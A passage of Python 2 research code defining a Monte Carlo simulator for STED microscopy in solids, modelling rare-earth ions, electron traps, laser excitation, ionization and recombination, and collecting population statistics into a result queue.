	def __init__(self, nSimSteps, resultContainer):
		"""
		Creates a simulator object for STED microscopy in solids.

		Parameters
		----------
		nSimSteps : int or float
			Number of iteration steps for the simulation
		resultContainer : multiprocessing.Queue
			Container to save simulation results
		"""
		super(SolidStateStedSimulator, self).__init__()

		self.numberOfSimulationSteps = int(nSimSteps + 1)
		self.resultContainer = resultContainer

	#--------------------------------------------------------------------------
	def setupSimulation(self, REx, REy, ETx, ETy, pumpAmpl=0.05, stedAmpl=0.5, laserXpos=0.0, laserYpos=0.0, cs=[1,1,1,1,1], eTR=25E-9):
		"""
		Configures all necessary parameters and creates the objects needed for the simulator.

		Parameters
		----------
		REx : array-like
			Represents the x-coordinates of the rare earths
		REy : array-like
			Represents the y-coordinates of the rare earths
		ETx : array-like
			Represents the x-coordinates of the electron traps
		ETy : array-like
			Represents the y-coordinates of the electron traps
		pumpAmpl : float
			Amplitude for the excitation laser beam
		stedAmpl : float
			Amplitude for the STED laser beam
		cs : array-like
			Cross-section for the rare earth in the order
			[gammaRE, sigPumpRE, sigIonizeRE, sigRepumpRE, sigStedRE]
		eTR : float
			Electron travel range
		"""
		self.rareEarthXCoordinates = np.array(REx)
		self.rareEarthYCoordinates = np.array(REy)
		self.electronTrapXCoordinates = np.array(ETx)
		self.electronTrapYCoordinates = np.array(ETy)
		self.pumpAmplitude = pumpAmpl
		self.stedAmplitude = stedAmpl
		self.laserXpos = laserXpos
		self.laserYpos = laserYpos
		self.crossSections = cs
		self.electronTravelRange = eTR

		self.electronicSystemsPopulationDistribution = np.zeros(REx.size + ETx.size)

		# set up valence band
		#self.vb = ValenceBand()

		# set up pump and sted beam
		self.pumpBeam = PumpBeam(x=self.laserXpos, y=self.laserYpos, amplitude=self.pumpAmplitude, wavelength=470E-9, numAperture=1.3)
		self.stedBeam = StedBeam(x=self.laserXpos, y=self.laserYpos, amplitude=self.stedAmplitude, wavelength=600E-9, numAperture=1.3)

		# set up electronic systems
		self.electronSystems = ElectronicSystem(RExPos   = self.rareEarthXCoordinates,
												REyPos   = self.rareEarthYCoordinates,
			                                    ETxPos   = self.electronTrapXCoordinates,
			                                    ETyPos   = self.electronTrapYCoordinates,
			                                    pumpBeam = self.pumpBeam,
			                                    stedBeam = self.stedBeam)

		self.electronSystems.setupTransitionProbabilities(gammaRE     = self.crossSections[0],
														  sigPumpRE   = self.crossSections[1],
														  sigIonizeRE = self.crossSections[2],
														  sigRepumpRE = self.crossSections[3],
														  sigStedRE   = self.crossSections[4])

		# set up evolution recorder for every rare earth in the system
		self.evolutionRecoders = list()
		self.evolutionRecorderIdx = dict()
		for reCnt, reIdx in zip(range(self.electronSystems.rareEarthIndices.size), self.electronSystems.rareEarthIndices):
			self.evolutionRecorderIdx[reIdx] = reCnt
			rePos = self.electronSystems.getPosition(reIdx)
			evRec = EvolutionRecorder('REpos=[%.2g, %.2g, %.2g]'%(rePos[0], rePos[1], rePos[2]), 'sim step', 'N')
			self.evolutionRecoders.append(evRec)

		np.random.seed()

	#--------------------------------------------------------------------------
	def run(self):
		self.electronSystems.createNeighbours(self.electronTravelRange)

		rareEarthIndices = self.electronSystems.rareEarthIndices
		electronTrapIndices = self.electronSystems.electronTrapIndices

		# randomly choose ~1% of the available electron traps
		# to be handeled in a single simulation step
		numRandElectronicSystems = int(0.01 * electronTrapIndices.size + 1)

		# prepare array for random indices to loop over
		self.randIndices = np.zeros(numRandElectronicSystems + rareEarthIndices.size, dtype=np.int32)

		# some constants to check during simulation
		progressUpdate = int(0.01*self.numberOfSimulationSteps)
		progressEvolutionRecord = int(0.05*self.numberOfSimulationSteps)

		for simStep in xrange(self.numberOfSimulationSteps):
			#if not simStep % progressUpdate:
			#	sys.stdout.write("\r%.0f %% "%(float(simStep)/float(self.numberOfSimulationSteps)*100.0))
			#	if int(float(simStep)/float(self.numberOfSimulationSteps)*100.0) == 99:
			#		print ""

			# build up list of random indices for electronic systems
			# to act on and always include all rare earths.
			self.randIndices[:numRandElectronicSystems] = np.random.choice(electronTrapIndices, numRandElectronicSystems, replace=False)
			self.randIndices[numRandElectronicSystems:] = rareEarthIndices
			np.random.shuffle(self.randIndices)

			for index in self.randIndices:
				randomNumber = np.random.rand()

				if index in rareEarthIndices:
					result = self.electronSystems.actOnRareEarth(index, randomNumber)

					if result == 1:
						# RE got ionized, electron is absorbed by CB, now recombine to somewhere
						#self.handleRecombination(self.electronSystems.getPosition(index))
						self.handleRecombination(index)

					elif result == 2:
						# RE got repumped, catch electron from VB
						#self.vb.donateElectron()
						#self.vb.evolutionDonatedElectrons.record(simStep, self.vb.donatedElectronCount)
						pass

				else:
					result = self.electronSystems.actOnElectronTrap(index, randomNumber)

					if result == 1:
						# ET got ionized, add electron to CB and recombine to somewhere
						#self.handleRecombination(self.electronSystems.getPosition(index))
						self.handleRecombination(index)

			# record ground/excited state evolution (internal)
			self.electronSystems.recordREstates()

			# record ground/excited state evolution (binned for result)
			if not simStep % progressEvolutionRecord:
				for REidx in self.electronSystems.rareEarthIndices:
					self.evolutionRecoders[self.evolutionRecorderIdx[REidx]].record(simStep,
																					self.electronSystems.rareEarthGroundStateCounter(REidx),
																					self.electronSystems.rareEarthExcitedStateCounter(REidx))

				self.electronSystems.resetRareEarthEvolutionCounters()

			if not simStep % 2:
				self.recordElectronTrapPopulationDistribution(self.electronSystems.population)

		# after last simulation step
		self.finalize()

	#--------------------------------------------------------------------------
	def handleRecombination(self, index):
		# now go through the conduction band's collected electrons and
		# find the ones which can recombine to either an electron trap
		# or to a rare earth.
		self.possibleRecombinationSlots = np.intersect1d(self.electronSystems.potentialRecombinationIndices,
														 self.electronSystems.getNeighbours(index))

		if not self.electronSystems.isRareEarth(index):
			probDecayToValenceBand = 1.0/(self.possibleRecombinationSlots.size + 1) # + 1 for the VB, to which the electron can decay.
			randomNumber = np.random.rand()
			if randomNumber <= probDecayToValenceBand:
				return

		self.electronSystems.recombine(np.random.choice(self.possibleRecombinationSlots))

	#--------------------------------------------------------------------------
	def recordElectronTrapPopulationDistribution(self, distribution):
		self.electronicSystemsPopulationDistribution += distribution

	#--------------------------------------------------------------------------
	def finalize(self):
		# generate the values which are needed for further processing
		self.groundStateAverage = np.average(np.array_split(self.evolutionRecoders[0]._g, 2)[1])
		self.excitedStateAverage = np.average(np.array_split(self.evolutionRecoders[0]._e, 2)[1])

		# collect single results in a dictionary
		result = dict()
		result["reXpos"] = self.rareEarthXCoordinates
		result["reYpos"] = self.rareEarthYCoordinates
		result["laserXpos"] = self.laserXpos
		result["laserYpos"] = self.laserYpos
		result["groundStateAverage"] = self.groundStateAverage
		result["excitedStateAverage"] = self.excitedStateAverage
		result["rePopulationEvolution_time"] = self.evolutionRecoders[0]._t
		result["rePopulationEvolution_groundState"] = self.evolutionRecoders[0]._g
		result["rePopulationEvolution_excitedState"] = self.evolutionRecoders[0]._e
		result["pumpAmplitude"] = self.pumpAmplitude
		result["stedAmplitude"] = self.stedAmplitude
		result["crossSections"] = self.crossSections
		result["electronTravelRange"] = self.electronTravelRange
		result["electronTrapXCoordinates"] = self.electronTrapXCoordinates
		result["electronTrapYCoordinates"] = self.electronTrapYCoordinates
		result["populationDistribution"] = self.electronicSystemsPopulationDistribution

		self.resultContainer.put(result)